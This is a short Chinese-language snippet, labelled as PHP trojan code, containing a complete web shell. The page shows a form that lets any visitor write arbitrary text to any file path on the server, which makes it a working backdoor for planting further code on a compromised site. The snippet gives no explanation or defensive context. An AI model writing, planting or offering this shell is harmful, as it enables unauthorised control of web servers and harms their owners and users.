PHP 木马代码，

<?php
header("content-Type: text/html; charset=utf-8");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>
<form method="POST">
    保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace("\\","/",__FILE__) ?>">
    <br><br>
    <textarea name="text" COLS="70" ROWS="18" ></textarea>
    <br><br>
    <input type="submit" name="submit" value="保存">
    <form>
        <?php
        if(isset($_POST["file"]))
        {
            $fp = @fopen($_POST["file"],"wb");
            echo @fwrite($fp,$_POST["text"]) ? "保存成功!" : "保存失败!";
            @fclose($fp);
        }
        ?>